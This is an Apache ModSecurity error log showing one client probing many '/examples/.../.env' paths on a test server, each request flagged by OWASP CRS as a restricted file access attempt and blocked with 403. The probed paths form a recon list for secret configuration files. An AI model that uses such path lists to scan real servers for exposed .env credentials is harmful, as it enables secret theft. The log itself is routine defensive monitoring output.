[Thu Feb 26 01:03:03.450875 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzQAAAAE&quot;]
[Thu Feb 26 01:03:03.451033 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzQAAAAE&quot;]
[Thu Feb 26 01:03:03.472600 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzgAAAAE&quot;]
[Thu Feb 26 01:03:03.472842 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzgAAAAE&quot;]
[Thu Feb 26 01:03:03.472988 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzgAAAAE&quot;]
[Thu Feb 26 01:03:03.474042 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/04-many-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9gAAAAA&quot;]
[Thu Feb 26 01:03:03.474274 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9gAAAAA&quot;]
[Thu Feb 26 01:03:03.474440 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9gAAAAA&quot;]
[Thu Feb 26 01:03:03.498913 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-cookie-auth-fauna/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzwAAAAE&quot;]
[Thu Feb 26 01:03:03.499137 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzwAAAAE&quot;]
[Thu Feb 26 01:03:03.499275 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzwAAAAE&quot;]
[Thu Feb 26 01:03:03.500474 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/05-migrations/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9wAAAAA&quot;]
[Thu Feb 26 01:03:03.500678 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9wAAAAA&quot;]
[Thu Feb 26 01:03:03.500814 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9wAAAAA&quot;]
[Thu Feb 26 01:03:03.529366 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-dotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0AAAAAE&quot;]
[Thu Feb 26 01:03:03.529596 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0AAAAAE&quot;]
[Thu Feb 26 01:03:03.529749 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0AAAAAE&quot;]
[Thu Feb 26 01:03:03.530973 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/06-base-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-AAAAAA&quot;]
[Thu Feb 26 01:03:03.531178 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-AAAAAA&quot;]
[Thu Feb 26 01:03:03.531314 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-AAAAAA&quot;]
[Thu Feb 26 01:03:03.565568 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/07-feature-flags/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-QAAAAA&quot;]
[Thu Feb 26 01:03:03.567835 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-firebase-authentication-serverless/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0QAAAAE&quot;]
[Thu Feb 26 01:03:03.568082 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0QAAAAE&quot;]
[Thu Feb 26 01:03:03.568247 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0QAAAAE&quot;]
[Thu Feb 26 01:03:03.568777 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-QAAAAA&quot;]
[Thu Feb 26 01:03:03.568916 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-QAAAAA&quot;]
[Thu Feb 26 01:03:03.600435 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/08-performance/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-gAAAAA&quot;]
[Thu Feb 26 01:03:03.600648 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-gAAAAA&quot;]
[Thu Feb 26 01:03:03.600797 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-gAAAAA&quot;]
[Thu Feb 26 01:03:03.616590 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-react-relay-network-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0gAAAAE&quot;]
[Thu Feb 26 01:03:03.616804 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0gAAAAE&quot;]
[Thu Feb 26 01:03:03.616936 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLh0gAAAAE&quot;]
